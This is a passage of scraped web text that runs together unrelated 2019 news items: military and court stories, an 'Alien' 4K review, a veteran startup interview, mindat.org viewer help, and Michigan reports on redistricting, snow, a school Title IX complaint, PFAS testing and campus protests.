to consider a career in the military and believes recruiters should be allowed to speak with them. "There are people that want to serve in the military. I don't think any door should be slammed shut or closed. There should be limits about when we come in; we can work with that," Green said. -- Patricia Kime can be reached at Patricia.Kime@Miltiary.com. Follow her on Twitter at @patriciakime. The civilian trial of retired Army Maj. Gen. James Grazioplene, who is accused of raping his daughter in the 1980s, has been rescheduled, a Prince William County Circuit Court official said. Grazioplene was scheduled to stand trial April 29, but the case has been continued to Sept. 3, according to Christina Shaw, deputy clerk at Prince William's Circuit Court Clerk's office. The jury trial is currently scheduled to run from Sept. 3 to Sept. 18, Shaw told Military.com on Friday. A Virginia grand jury indicted Grazioplene -- who retired from the Army in 2005 -- on three counts of rape and three counts of incest against his daughter between Aug. 1, 1987, and May 31, 1988, according to the Dec. 3, 2018, indictment documents. Related: Judge Denies Bail for Retired Army General Charged with Raping Daughter The Army charged Grazioplene in 2017 with violating Article 120 of the Uniform Code of Military Justice with six specifications of rape of a minor on multiple occasions between 1983 and 1989, The Washington Post reported. The service, however, dismissed the case after the U.S. Court of Appeals for the Armed Forces ruled there should be a five-year statute of limitations on rape charges, Army Times reported. Grazioplene remains in custody at the Prince William-Manassas Regional Adult Detention Center, jail officials told Military.com on Friday. Military.com tried to contact Grazioplene's lawyers, Thomas Pavlinic and John Irving, for comment on the case but did not receive a reply by press time. -- Matthew Cox can be reached at matthew.cox@military.com. Maria Butina, the Russian woman who was accused of being a secret agent for the Russian government, was sentenced to 18 months in prison Friday by a federal judge in Washington after pleading guilty last year to a conspiracy charge. Butina, who has already served nine months behind bars, will get credit for time served and can possibly get credit for good behavior, the judge said. She will be removed from the U.S. promptly on completion of her time, the judge added, and returned to Russia. An emotional and apologetic Butina said in court Friday she is "truly sorry" and regrets not registering as a foreign agent. "I feel ashamed and embarrassed," she said, adding that her "reputation is ruined." Butina has been jailed since her arrest in July 2018. She entered the court Friday wearing a dark green prison jumpsuit and spoke in clear English, with a slight Russian accent. "Please accept my apologies," Butina said. Butinas lawyer, Robert Driscoll, said after the sentencing they had hoped for a "better outcome," but expressed a desire for Butina to be released to her family by the fall. Prosecutors had claimed Butina used her contacts with the National Rifle Association and the National Prayer Breakfast to develop relationships with U.S. politicians and gather information for Russia. Prosecutors also have said that Butina's boyfriend, conservative political operative Paul Erickson, identified in court papers as "U.S. Person 1," helped her establish ties with the NRA. In their filings, prosecutors claim federal agents found Butina had contact information for people suspected of being employed by Russia's Federal Security Services, or FSB, the successor intelligence agency to the KGB. Inside her home, they found notes referring to a potential job offer from the FSB, according to the documents. Investigators recovered several emails and Twitter direct message conversations in which Butina referred to the need to keep her work secret and, in one instance, said it should be "incognito." Prosecutors said Butina had contact with Russian intelligence officials and that the FBI photographed her dining with a diplomat suspected of being a Russian intelligence agent. Fox News Jason Donner, Bill Mears, Greg Norman and the Associated Press contributed to this report. "Alien" has just been reissued on a new 4K UHD edition that's one of the finest upgrades released for the still-new format. Ridley Scott's sci-fi/horror classic looks incredible. The restoration keeps the original film grain intact but brings out color and shadow that no one's probably seen since the original prints were new in 1979. "Alien" is one of the scariest movies of all time and follows a commercial spaceship as it picks up strange cargo at a previously unscheduled stop on its return to Earth. Tom Skerritt is the captain, and Sigourney Weaver, Harry Dean Stanton, Veronica Cartwright, Yaphet Kotto and Ian Holm are the crew. Ridley is the only crew member who keeps a level head as the ship's alien stowaway starts picking off the crew members one by one. The deaths are gruesome, the creature slimy and the whole thing has a kind of pervy vibe that no filmmaker would dare attempt in 2019 (unless you count "Prometheus," Scott's own "Alien" prequel from 2012). Weaver predates Arnold Schwarzenegger, Bruce Willis and Sly Stallone's later turns in the military sci-fi genre, and none of them really matches her strength, determination and resourcefulness. It's taken almost four decades, but we're finally starting to see other women get the chance to kick ass in action movies. Noted sci-fi artist H.R. Giger was brought on to design the creature and won an Oscar for his efforts. "Alien" was made in the last days before digital manipulation revolutionized special effects, and the design here is extraordinary, delivering imagery that CGI has yet to match. Also incredible is the set design. The ship is cramped and creepy, but the details are magic. Along with Scott's next masterpiece "Blade Runner," "Alien" features a level of practical world-building that may only be matched by the original "Star Wars," the version before George Lucas decided to "fix" things. Speaking of "fixing" things, Scott has his own history with final edits that take place years after the movie's released. With both "Blade Runner" and "Kingdom of Heaven," those repairs yielded definitive versions that tower over the originally released versions. Scott also did a 2003 re-edit of "Alien" for a box set that included the sequels. He cut some footage and added some in for a new version that has almost the same running time. It's nice for fans, but Scott has said the original version is his preferred cut, and he's right. This release includes both the 1979 and 2003 versions in 4K. There's a Ridley Scott commentary recorded in 1999 and another one with Scott, cast and crew done for the 2003 version. The 4K comes with a Blu-ray and digital version. The digital version includes hours of bonus material that was originally exclusive to the "Alien" box set. "Alien" is a masterpiece and a movie that's just as scary today as when it first hit theaters. This 4K version is spectacular and a must-own for anyone who's made the investment in the gear to watch it. How Bad Do You Want to Achieve Your Goal? Heres How to Tell If You Want It Enough to Succeed Do you have a goal in front of you? How badly do you want to achieve that dream? Are you willing to take on the challenge to... So you're thinking of becoming an entrepreneur? Perhaps you're drawn to the appeal of being your own boss, or there's an invention you want to pursue, or maybe you've always wanted to run your own company. Sounds great, right? But it takes more than a great idea and a handful of grit to run a successful startup. I recently talked with Navy veteran Justin Nassiri, chief executive officer at StoryBox and host of the popular podcast Beyond the Uniform. Here he shares advice for pursuing the entrepreneur path: LC: Justin, describe your military experience. JN: In junior high school, we took a trip to the East Coast and toured the Naval Academy. At the time, I had no idea what it was. Five years later, I was raising my right hand and being sworn in as a midshipman. After the Naval Academy, I served five years as an officer on nuclear submarines (the Ohio-class Alaska and Los Angeles-class Chicago). Related: Search for Veteran Jobs I loved my time in the military, especially the camaraderie, challenge and sense of service. I remember my first time standing watch as the senior ship supervisor on our submarine. It was 2 a.m., I was 23 years old, and I was the most senior person awake, responsible for a $2 billion submarine and the 180 lives onboard. I thought, "This is crazy!" but I loved every minute of it. LC: How was your transition after you left the Navy? JN: I knew I wanted to have a family one day and wanted to be available to be with them. I made the decision to leave the military after five years of service. I thought, "I like the management aspect of my military work, and managers in the civilian sector go to business school, so I'll do that." I went to Stanford Business School, and it was life changing. At Stanford, I learned about startups and how big companies were once small companies started by a courageous person or group of people. I set out to do that. LC: Why are you passionate about startup companies? JN: I love the process of creating something new, of having an idea and working with a group of people to bring it to life. It's exhilarating and rewarding to see a challenge and think of a new way to solve it. That's what startups are to me. They are a way to identify a pain point, see if there are other people who experience the same pain, and then find a way to solve it. I especially like technology because it solves problems quickly, and in a way that can help far more people through a scalable solution. LC: How did your military experience, and post-military education, prepare you to be an entrepreneur? JN: Stanford made me aware of startups, gave me an incredible network to leverage, and provided me with credibility when raising investor funding. However, my experience in the military was a bigger driver in my success. The military taught me to be tenacious -- to operate on limited information and drive through to success, no matter the cost. When starting a company, you have to get up early, work around the clock, and forge a new way for the company, often with limited resources. The military taught me how to do this, with integrity. LC: What advice do you have for a veteran interested in working in a startup environment? JN: If you are interested in startups, do it. There is nothing you cannot figure out and nothing that you cannot accomplish with your military training. At the same time, don't underestimate how much work it will take. My mantra in starting a company has been that "everything takes 10X longer and 10X more money than I initially expect." If you want to pursue this path, make sure you have the financial savings and personal support structure to do so. Learn from others, be as efficient as possible, and remember that it is a roller-coaster of a ride that will take everything you have to succeed. But, for me, there's nothing I'd rather do. The Next Step: Get Veteran Jobs Tips Looking for transition and veteran jobs tips? Military.com has you covered. Sign up for a free Military.com membership to have military news, updates and job resources delivered directly to your inbox. How to use the mindat.org media viewer Click/touch this help panel to close it. Welcome to the mindat.org media viewer. Here is a quick guide to some of the options available to you. Different controls are available depending on the type of media being shown (photo, video, animation, 3d image) Controls - all media types Zoom in and out of media using your mousewheel or with a two-finger 'resize' action on a touch device. Use the mouse or your finger to drag the image or the view area of the image around the screen. < and > at the left and right hand side of the screen move forwards and backwards for the other images associated with the media you selected. Usually this is used for previous/next photo in a gallery, in an article or in search results. Keyboard shortcuts: use shift + the left and right arrow keys. < and > in the bottom center are used for switching between the photos of the same specimen. Keyboard shortcuts: use the left and right arrow keys. > in the bottom center, raises the information box giving details and further options for the media, < at the top of this box then hides it. Keyboard shortcuts: use the up and down arrow keys. ? opens this help window. Keyboard shortcuts: use the H key or the ? key. Other keyboard shortcuts: 1 Fit image to screen 2 Fill screen with image 5 Display at full resolution < Make background darker > Make background lighter space Hide/dim titles and buttons Scalebar If the field of view (FOV) is specified for the photo, the scalebar appears in the left bottom corner of the viewer. The scalebar is draggable and resizeable. Drag the right edge to resize it. Double click will reset the scalebar to it's default size and position. If the scalebar is in default position, double click will make it circular. Controls - Video Video files have a standard set of video controls: - Reset to start, - Skip back, - Play, - Pause, - Skip forwards. Keyboard shortcuts: You can stop/start video play with the P key. Controls - Animation (Spin Rotation) Animation (usually 360 degree spin rotations) have their own controls: - enable spin mode. Note that while images are loading this option will not be available but will be automatically activated when the animation has loaded. Once active you can spin the image/change the animation by moving your mouse or finger on the image left/right or by pressing the [ or ] keys. The button switches to move mode so that you can use your mouse/fingers to move the image around the screen as with other media types. The button, or the P key will start playing the animation directly, you can interrupt this by using the mouse or finger on the image to regain manual movement control. Controls - 3D Stereoscopic images If a stereoscopic 3D image is opened in the viewer, the 3D button appears in the bottom right corner giving access to "3D settings" menu. The 3D images can be viewed in several ways: - without any special equipment using cross-eyed or parallel-eyed method - with stereoscope - with anaglyph glasses. - on a suitable 3D TV or monitor (passive 3D system) For details about 3D refer to: Mindat manuals: Mindat Media Viewer: 3D To enable/disable 3D stereo display of a compatible stereo pair image press the 3 key. If the left/right images are reversed on your display (this often happens in full-screen mode) press the 4 key to reverse them. Controls - photo comparison mode If a photo with activated comparison mode is opened in the viewer, the button appears in the bottom right corner giving access to "Comparison mode settings" menu. Several layouts are supported: slider and side by-side comparison with up to 6 photos shown synchronously on the screen. On each of the compared photos a view selector is placed, e.g.: Longwave UV . It shows the name of currently selected view and allows to select a view for each placeholder. Summary of all keyboard shortcuts A federal three-judge panels ruling declaring Michigans Congressional and legislative maps unconstitutionally gerrymandered and ordering a special 2020 election could have major implications on the makeup of the Michigan Senate. Under the ruling issued by U.S. Circuit Judges Eric Clay and Denise Hood and U.S. District Judge Gordon Quist, altered state Senate districts would be up for a special election in 2020, two years into four-year terms sitting senators were elected to in 2018. There are 10 Senate Districts listed in the suit - 8, 10, 11, 12, 14, 18, 22, 27, 32, and 36 - but redrawing those districts would inevitably impact surrounding districts as well. Michigans Constitution stipulates lawmakers can serve up to three two-year terms in the House and two four-year terms in the state Senate. For senators who have already been elected two times, a 2020 special election could mean they are ineligible to run again, despite being elected in 2018 to serve until 2022. In the ruling, the judges wrote the fact that a special Senate election would truncate the four-year terms of senators is not unduly intrusive given the gravity and extent of the constitutional violations at issue in this case. While senators may be disappointed that their four-year terms will be reduced to two years, the sentiment of the legislators elected under an unconstitutional apportionment plan does not outweigh the constitutional rights of millions of Michiganders to elect their senators under constitutional maps, they continued. Appeals to the decision are already in the works. Michigan Senate Majority Leader Mike Shirkey, R-Clark Lake, said the Senate - which as a body moved to intervene in the case early this year - is preparing to comply with the ruling while awaiting the outcome of an appeal to the U.S. Supreme Court. But barring a higher courts intervention, the Senate could look a lot different after the 2020 election. Senate Minority Leader Jim Ananich, D-Flint, was first elected to his current seat in a 2013 special election to fill a vacancy and won reelection twice in 2014 and 2018, putting him in the unique position of having run for the state Senate three times in the era of term limits. He said in a statement he expects the legal process to continue, but noted "if, at the end of the day, were to run in 2020, we will run robust races as we always have done. Some Democratic senators are welcoming the prospect of a special election. Sen. Jeremy Moss, D-Southfield, said on Twitter a functioning democracy demands fair lines in every election. He quipped that every other Democrat was announcing a 2020 run anyway and I was starting to feel left out. Weve known for 7 years that our seats were unconstitutionally gerrymandered. If we all have to run in 2020 then so be it. A functioning democracy demands fair lines in every election. Every other Democrat was announcing a 2020 run anyway and I was starting to feel left out. https://t.co/FHxLuYZ6iB Senator Jeremy Moss (@JeremyAllenMoss) April 25, 2019 Sen. Ken Horn, R-Frankenmuth, is currently serving his second Senate term and was one of a handful of Republican state senators who filed motions individually in the suit criticizing the possibility of interrupting the Senates four-year terms. Horn said hes still waiting to see how the ruling ultimately shakes out, but noted hes frustrated district lines that went unchallenged for years are being questioned so shortly before Michigan will have a new redistricting structure in place. My question is, why wouldnt you just wait? Horn said. This is so disruptive to the democratic process. He added that hes taking his own electoral future in stride. If I have to run in 2020, I still have my old signs, Horn said. If I cant run, that will settle that. The judges ruled in favor of the League of Women Voters and Democratic plaintiffs who alleged in a lawsuit the states last redistricting process gave an unfair advantage to Republicans and violated voters Constitutional rights. They found 27 of the 34 districts challenged in the suit violate the plaintiffs First and Fourteenth Amendment rights by diluting the weight of their votes, and that all 34 violate their First Amendment right to association. Under the order, lawmakers have until Aug. 1, 2019 to redraw Michigans Congressional and legislative political districts in a way the court deems constitutionally acceptable, otherwise the court will draw lines for them. The changes to Michigans existing political districts would only impact the 2020 election. An independent redistricting commission, which voters supported with the passage of Proposal 2, will draw new political districts by the 2022 election using 2020 census data. David Daley, author of the book Ratf**ked: Why Your Vote Doesnt Count, has studied the impacts of politically-motivated redistricting in various parts of the country. He said this weeks decision builds off a historic moment where federal courts are beginning to take direct action on maps they deem unconstitutional, and should serve as a warning sign to politicians in other states partaking in similar practices. What these maps have done for the last decade is make it harder for there to be true competition in Michigans legislative elections, Daley said. I would be more excited about the prospect of genuinely fair elections on genuinely fair maps than I would be about the individual prospects of specific members, who are certainly free to consider their political careers in many other forms. Yes, those mentions of accumulating snow in late April turned out to be real as the National Weather Service has published more information regarding the potential snowfall for Saturday night, April 27. Snow should begin in the evening and end by daybreak Sunday. It is possible that precipitation starts off as rainfall before turning to snow. Accumulating snow is expected to blanket a third to half of Lower Michigan, with the highest risk coming between U.S. 10 and I-94. The NWS says this could be a plowable snow, and stick to trees and cause a few power outages." Related: Rain, blustery conditions on way for Michigan before likely measurable snowfall There is increasing confidence Southwest Michigan will be seeing measurable snow Saturday night into early Sunday morning, the NWS in Grand Rapids writes in its Thursday afternoon forecast. As always it is a question of the storm track. Skies will clear Friday behind this system. Today (Thursday) will be the warmest day for the rest of the month more than likely. A meteorologist with the weather service in Grand Rapids says there have only been five weather events of more than one inch of snowfall between April 21 and 25 in the city from 1892 to 2019. If more than three inches of snow falls, it will only represent the third time this has happened in Grand Rapids after April 16 since records first started. So, thats how rare of an event 33.3 to 50 percent of Lower Michigan is looking at this upcoming weekend. Those being warned of the terrible event that is measurable snow in late April include Mason, Lake, Osceola, Clare, Oceana, Newaygo, Mecosta Isabella, Muskegon, Montcalm, Gratiot, Ottawa, Kent, Ionia, Clinton, Allegan, Barry, Eaton, Ingham, Van Buren, Kalamazoo, Calhoun and Jackson counties, as of Thursday afternoon. We are forecasting the potential for 2 to 4" of snow in central Lower Michigan Saturday night. This is unusual, 3" or more have happened only 3 times after the 24th. NWS Grand Rapids (@NWSGrandRapids) April 25, 2019 Update: On April 30, Jenny Hannibal said she is retracting the civil rights complaint reported on in this story due to significant inaccuracies. Hannibal indicated she may revise and refile her complaint. More: Parent to retract, revise federal complaint on sexual assault reporting at Ann Arbor high school ANN ARBOR, MI -- The parent of an Ann Arbor Community High School student claims administrators are covering up on-campus sexual assaults. The school district is inviting parents to attend a meeting addressing the issue next week. The parent, Jenny Hannibal, says she filed her 10-page complaint with the Office of Civil Rights, claiming the district and the high school failed to properly report incidents of sexual assault to police, including allegations of a 2016 rape committed on campus by an expelled student. Hannibal also sent a copy of the complaint to The Ann Arbor News/MLive. In it, she says her own child was not involved in any of the incidents, but that shes motivated by a need to ensure accountability and transparency at the school. In response to the allegations, Ann Arbor Public Schools is hosting a community forum for parents at Community High School beginning at 7:45 a.m. Tuesday. Ann Arbor police and administrators are expected to be in attendance. Ann Arbor Public Schools spokesman Andrew Cluley said it wasnt yet known if news reporters and the public would be allowed to attend, due to the sensitivity of the topic. While we are not able to speak directly to the specifics of this case as those matters are protected under federal privacy laws, we absolutely can assure that we consistently follow this protocol and steps as appropriate in matters of student safety," Superintendent Jeanice K. Swift said in a message to parents. " ... The District is confident that the actions it has taken both as a district and in individual cases are in full compliance with applicable law." Cluley said the district wouldnt comment any further on the accusations Friday. Hannibal posted the following on Facebook: Friends, I just filed a formal Title IX complaint with the Office of Civil Rights. My daughters high school is not handling sexual assault cases in the way required by law. The twelve teenage girls in the formal complaint are not my kids; they are all our kids. They belong to this community, and we need to do better. Please read and share as you like. Happy Sexual Assault Awareness Month. According to Hannibals complaint, Ann Arbor Public Schools failed to report eleven incidents of sexual assault or misconduct to Ann Arbor police. Police havent responded to MLive requests for information related to the claims. Ann Arbor Public Schools Board of Education Trustee Jessica Kelly told MLive the board is highly interested in this subject and making sure we get this right. She declined to specifically address Hannibals complaints, but said: What I can tell you is that the district is in full compliance with state and federal laws regarding sexual assault and misconduct reporting." Messages seeking comment were left all school board members. Vicki Levengood, spokesperson for the Michigan Department of Civil Rights, said there is not yet a record of Hannibals complaint and that it could be in processing. MLive has also attempted to verify whether the complaint was filed federally with the Office of Civil Rights and was awaiting confirmation. Community High School, 401 N. Division, enrolls about 530 students and describes itself as a rigorous academic college preparatory magnet school that encourages students to use the entire community as a resource for study and fosters the development of independent learners who practice personal and social responsibility as they prepare for their post-secondary experience. Full message to parents from Superintendent Jeanice K. Swift: April 26, 2019 Hello Community High School Parents, In the Ann Arbor Public Schools, student safety remains the top priority, and all matters of student safety are taken very seriously. With this focus in mind, I want to reach out today about a situation concerning student safety at Community that has been shared on social media and in the public; likely you have seen this information by now. In the Ann Arbor Public Schools, we take situations of this nature very seriously. I can assure you that when a situation emerges regarding the safety of our students, members of our team follow appropriate steps, including contacting the parent/guardian of the students involved, notification of DHS, conducting a thorough investigation of the matter, and contacting AAPD in full support of a law enforcement investigation. While we are not able to speak directly to the specifics of this case as those matters are protected under Federal privacy laws, we absolutely can assure that we consistently follow this protocol and steps as appropriate in matters of student safety. To support students and parents who may desire, we have counselors as well as members of our administrative team available today at the school throughout the school day for face-to-face conversations and support. In addition, we will be convening a parent meeting on Tuesday, April 30, at 7:45am at Community High School. Members of our AAPS leadership team and representatives from the AAPD will be in attendance alongside AAPS counselors who will respond to questions and offer guidance on how to best address questions or concerns your student may have at this time. In addition, if you feel you need district support for your student, please reach directly to Dean Marci or to Mr. Paul DeAngelis, Executive Director, High Schools at deangelisp@a2schools While there may be media coverage, and while individuals may want to share information they have heard, all are encouraged to be responsible with how they communicate information related to this situation. The focus of our engagement with students will remain on the important priorities of supporting those who may have particular needs at any time, and, importantly, ensuring that as much as possible, teaching and learning continue for our students. I want to assure our community that student safety remains our top priority, we are here to support our students and staff as we move forward, and we will remain in communication with Community parents. Sincerely, Jeanice K. Swift Superintendent of Schools Ann Arbor Public Schools Additional information regarding Title IX concerns in the AAPS: The Ann Arbor Public Schools cannot comment on individual cases since student identities are protected under federal privacy laws. The District is in full compliance with state and federal anti-discrimination laws including Title IX. The District has implemented and complied with comprehensive Title IX Grievance Procedures which can be found at: https://www.a2schools.org/Page/9327 Staff, as mandated reporters of abuse and neglect, whenever they are made aware of an incident that may constitute a sexual assault contact parents, and file a form DHS -3200 (Report of Actual or Suspected Child Abuse or Neglect) with the Michigan Department of Human Services. As a matter of routine, DHS will forward such complaints to the applicable law enforcement agency for investigation. Staff reports such incidents to law enforcement. Such a report is not strictly speaking mandated by Title IX, but we believe it to be a best practice. The District will fully cooperate with any investigation should one be initiated. Typically the United States Department of Education s Office for Civil Rights (OCR) will contact the District if it accepts jurisdiction over a particular complaint. To date the District has not been contacted by OCR. The District is confident that the actions it has taken both as a District and in individual cases are in full compliance with applicable law. Democratic presidential candidate Andrew Yang will speak in Detroit next weekend, he announced Friday. Just added Detroit to the Humanity First Tour next week! Yes we occasionally add places. See you soon! #YangGang https://t.co/TEVH0AZJFn Andrew Yang (@AndrewYang) April 26, 2019 Hes speaking at the Detroit Shipping Company in Detroit at 6 p.m. on May 4, and asking people to register here before the event. Yang, an entrepreneur, lists his top priority as implementing a universal basic income for every American. Everyone over 18 would get $1,000 per month, paid for with a new tax on business that relay on automation and technology that has displaced workers. Yang is one of the few people running who has never held public office. Prior to running for president, he founded Venture for America, a nonprofit organization that trains recent graduates and young professionals to work for startup companies in cities across the country, including Baltimore, Detroit, Pittsburgh, and Cleveland. Hes in a crowded field of contenders for the Democratic presidential nomination that also features front-runners like former Vice President Joe Biden; U.S. Sen. Bernie Sanders, I-Vt.; and U.S. Sen. Kamala Harris, D-Claif. Hes one of several presidential hopefuls who have visited the state recently, including Kristin Gillibrand, Beto ORourke and Sanders. And on the Republican side, President Donald Trump held a rally in Grand Rapids and drew thousands of supporters last month. Testing for PFAS continues this spring along the Huron River in Southeast Michigan, with state officials now awaiting test results for a dozen residential wells, one community water supply and fish. But still unclear to the scientists tracking the contaminants is why the chemicals spiked last fall in Ann Arbor, which uses the river for most of its drinking water. The ongoing look at the 1,000-mile watershed comes after high levels of the contaminants were identified there in summer 2018, when an automotive supplier was sending the chemicals through Wixoms wastewater treatment plant and fish from Oakland County to Lake Erie were called unsafe to eat due to PFAS. One of the big sources that we found when we started testing was the Wixom Wastewater Treatment Plant, said Gerald Tiernan of the Michigan Department of Environment, Great Lakes and Energy (EGLE), noting that the PFAS in the wastewater plant was traced to Tribar Manufacturing. New filtering equipment installed in October at Tribar reduced PFOS - one type of PFAS - leaving one of its manufacturing plants from 28,000 parts per trillion in 2018 to less than 2-ppt in February. Effluent from the citys treatment plant also dropped from a high of 4,800-ppt of PFOS to 30-ppt in March. Theres been a significant drop, Tiernan said Friday, April 26, during an online update session organized with EGLE and Michigan Department of Health and Human Services staff. But state employees still are looking at whether the public in the area is at risk from drinking water containing the per- and polyfluorinated chemicals that have been tied to cancer, thyroid disorders, developmental delays and other adverse health effects. Mary Carnagie of the Materials Management Division of EGLE said testing in the region continues this time, reaching residential drinking water wells. Tests were done April 10-11 of 12 residential wells, 7 drinking water wells at Proud Lake Recreation Area and the village of Milfords two drinking water supply wells. Another 18 people did not answer requests to test their wells, and previous Milford well tests showed non-detectible levels of PFAS. Six new surface water samples also were taken. The sampling was done in response to the high levels of PFAS found in Norton Creek and the Huron River, Carnagie said. She continued: The (test areas are those) most likely to be influenced by those high surface water concentrations that could influence the groundwater. Timing of the tests was planned last fall after the discovery of the contamination in surface water, officials said. Based on the local geology, it seemed unlikely that the contaminated surface water was influencing groundwater in the vicinity of Norton Creek or the Huron River, said EGLE spokesman Scott Dean. "Nevertheless, we developed a plan to rule it out. " Dean said that staff determined that if the stream was influencing the groundwater, it would most likely be during spring melt. The hydrogeological concept were now in a position to evaluate is whether Norton Creek is a gaining stream (groundwater feeds the creek), a losing stream (the creek recharges groundwater), or both, Dean said. Results are expected by May 3. Unclear is at what level the results would trigger a state response. The Environmental Protection Agency has an unenforceable lifetime health advisory of 70-ppt combined of PFOS and PFOA. Drinking water sources found at that level and sometimes below that in Michigan has the state to find alternative water supplies for people. But early this year, the state set new health screening levels for five types of PFAS in drinking water. That means officials will use the lower levels to consider what kind of health response is necessary. The new health screening levels for drinking water in Michigan are: PFOA: 9-ppt PFOS: 8-ppt PFNA: 9-ppt PFHxS: 84-ppt PFBS: 1,000-ppt When the results are received, EGLE will analyze the results to determine whether any more sampling is required, Carnagie said during the presentation, and determine if any response actions are warranted. Meanwhile, drinking water for the Ann Arbor municipal supply also remains a focal point for officials. About 85 percent of the citys water comes from the Huron River, where tests going back to 2014 identified the presence of PFAS. Ann Arbor continues to collect monthly PFAS samples from both raw, untreated water and finished drinking water, Tiernan said. The city spent about $1 million in 2018 on additional granular activated carbon filters to remove PFAS. Despite the changes, the city still saw a spike in both PFOS and total PFAS in October. Raw river water reached a high of 48-ppt on October 9, falling to 5-ppt in March. Total PFAS for raw river water reached 119-ppt in October, falling to 34.20-ppt in March. So far, state staff has determined no reason for the spike. The only possibilities offered on Friday were the relative low number of samples over time or high levels of rain last fall. We dont know exactly what would have or could have changed during that time, Tiernan said. Along the watershed, more fish sampling will take place. Officials so far are seeing lower levels of PFAS downstream and may consider amending the fish advisory for PFAS, they said, though mercury would still warrant advisories. Any change to a PFAS advisory would normally take two years of data, officials said. High levels of PFAS remain in the fish at Kent Lake in Kensington Metropark. Bluegill in Belleville Lake would still warrant a PFAS advisory, officials said. Ongoing testing will take place, including in Ford Lake. Fish are in the lab from Barton and Argo ponds in Ann Arbor, with results pending. We need more evidence and have more confidence in what were seeing, said Joe Bohr of EGLE. Surface water sampling in the watershed in 2019 will focus on Norton Creek near Wixom; Horseshoe Creek near Hamburg in Livingston County; Honey Creek, west of Ann Arbor; and Willow Run between Ypsilanti and Belleville. Some of that will focus on foam, including at a tributary of Honey Creek. PFAS-laden foam with high concentrations of the contaminant has been an issue at sites across the state, including Oscoda, Rockford and the Huron River. Advisories for people and pets to avoid ingesting the foam have been issued in five areas. The city of Ann Arbor tested the foam on the river. Results showed reading of total PFAS up to 58,868 ppt. Meanwhile, once the state determines whether it has to consider groundwater contamination along the Huron River, it will know whether further well tests are necessary, Dean said. Theres still no data to drive the investigation away from a surface water focus, Dean said. " That could change, but we need to let the data guide us." Editors note: This story has been updated with additional information about DTEs plans to retire coal plants and its latest emission-reduction goals. ANN ARBOR, MI An environmental advocacy group is urging U.S. Rep. Debbie Dingell to sign onto the Green New Deal, while questioning campaign contributions from DTE Energy. Members of the Ann Arbor chapter of the Sunrise Movement, a national coalition of climate activists, showed up at Dingells office in Ypsilanti last Thursday, April 18, to air their frustrations, calling for her to support the Green New Deal. Dingell, D-Dearborn, wasnt there, but the demonstrators met with her staff, saying theyve been trying for months to get Dingell to endorse the proposal. Step up or step aside was the slogan on the large sign they carried, later chanting, Which side are you on? Her staff has been fully ignoring us for weeks now and she happened to hop on a flight the morning of our action at her office, Shawn Danino, a Sunrise Movement organizer, said this week as the group continued to demand action. The Green New Deal is a proposed federal stimulus program to address climate change and economic inequality. It was introduced by Rep. Alexandria Ocasio-Cortez, D-New York, earlier this year and has 92 co-sponsors in the House. Dingell hasnt signed on. Dingells deputy chief of staff Maggie Rousseau said the congresswoman takes input from her constituents seriously, and that she and her staff have met with Sunrise on a number of occasions. Mrs. Dingell has been reviewing the Green New Deal, but believes it is time Congress takes serious action to address climate change, Rousseau said in a statement. She is speaking out as a committee member on both Energy & Commerce and Natural Resources, as well as taking tangible steps to introduce climate legislation and voting to prevent the administration from withdrawing from the Paris Agreement. Our economy and environment are at stake and we must think outside the box to mitigate irreversible damage from climate change. Danino noted Dingell has received tens of thousands of dollars in campaign donations from DTE, which gets much of its energy from coal. Rousseau said Dingell has been open and transparent about reporting campaign contributions from the Detroit-based utility. That includes $30,000 from the DTE Energy PAC over her last three campaigns, plus another $5,000 from DTE employees, including $1,000 from CEO Gerry Anderson. DTE, the primary energy provider for southeast Michigan, uses a mix of coal, nuclear, natural gas, hydroelectric and renewable sources such as wind and solar to generate its electricity. About 12% of DTE's energy sold to customers comes from renewables right now, said DTE spokeswoman Cindy Hecht. The company plans to be at 12.5% by the end of this year, as required under the states new renewable standard, Hecht said. The state requirement increases to 15% in 2021. DTE says its pursuing a fundamental shift in how it produces power, retiring coal plants and replacing them with natural gas, wind and solar energy sources. The company plans to retire three more coal plants River Rouge, Trenton Channel and St. Clair Power in 2022. By 2023, DTE will have two coal plants still in operation: Belle River in St. Clair County, which is slated to close by 2030, and the Monroe Power Plant, slated to retire by 2040. DTE plans to reduce carbon emissions by 50% by 2030 and by at least 80% by 2040. Sunrise Movement, which believes the issue of climate change requires more urgent action, posted a 23-minute video of last weeks visit to Dingells Ypsilanti office on Facebook: ANN ARBOR, MI - A dozen Jewish University of Michigan students spent the morning of Passover on Friday demonstrating outside of the Michigan Hillel building. Their message to the Jewish community was simple: Its time to break up with Birthright. The students held up signs and sang songs on April 26, urging UM Hillel to end its partnership with Birthright Israel, a nonprofit organization that offers free 10-day trips to Israel to Jewish adults between the ages of 18-32. The group is calling on Hillel to stop running trips to Israel with Birthright, claiming its programming actively ignores and obscures the Israeli occupation that governs the lives of millions of Palestinians, protest organizer and Jewish UM student Ariel Friedlander said. The protest came after 15 people from the Jewish activist group IfNotNow were arrested while demonstrating outside Birthright Israels offices in New York City. Protesters also claim the politicians and those backing Israels dramatic shift to the right are behind Birthright, pointing to the fact that Birthright receives significant funding from the Israeli government, as well as right-wing donors like Sheldon Adelson, a patron of both President Donald Trump and Israel Prime Minister Benjamin Netanyahu. "For months, we asked Birthright to listen to our demands and to stop denying the occupation and accept that it is a daily nightmare for the Palestinians who live it and a moral nightmare for those who uphold it," Friedlander said. After months of asking, they decided to arrest IfNotNow members instead of having a conversation with them. Now we know for sure that we cannot have Birthright as part of the Jewish future we envision with IfNotNow. Protesters anticipated participating in a sit-in inside Michigan Hillel on Friday, which is the seventh day of Passover, a Jewish holiday remembering the exodus from Egypt. Demonstrators were allowed inside its vestibule, but not inside the building so they would not disrupt ongoing religious services for the Passover holiday that were taking place only a few feet away, Michigan Hillel Executive Director Tilly Shames said. The intention was to keep noise from the protests, as well as recording devices, separate from those who are orthodox observant, meaning they cant be in the presence of technology during the holiday, Shames said. The protesters complied with requests from Hillel to be respectful of those attending services, with plans to remain in the buildings vestibule throughout the day. Despite learning about the protest groups list of demands online, Shames said the group had not approached Michigan Hillel regarding its stance on Birthright or to request dialogue. "No one from the organization has contacted me and nobody has asked us anything about our organization or our relationship with Birthright, which is the organization and trip they are protesting," Shames said. "We have not heard anything directly from them about their requests for dialogue, conversation or any suggestions for our Birthright program." Students demands included Michigan Hillel cutting ties with the Birthright program and that it stop contributing to Islamophobia and anti-Arab racism on campus by hosting anti-Palestinian speakers. A number of students at the sit-in have been in conversation with Hillel regarding its association with Birthright, however, through J Street U, an American advocacy group that promotes the efforts of pro-Israel, pro-peace Americans." Incoming UM transfer Zu Weinger, who was one of the 15 people arrested outside of Birthright headquarters earlier this month, said Birthright seeks to 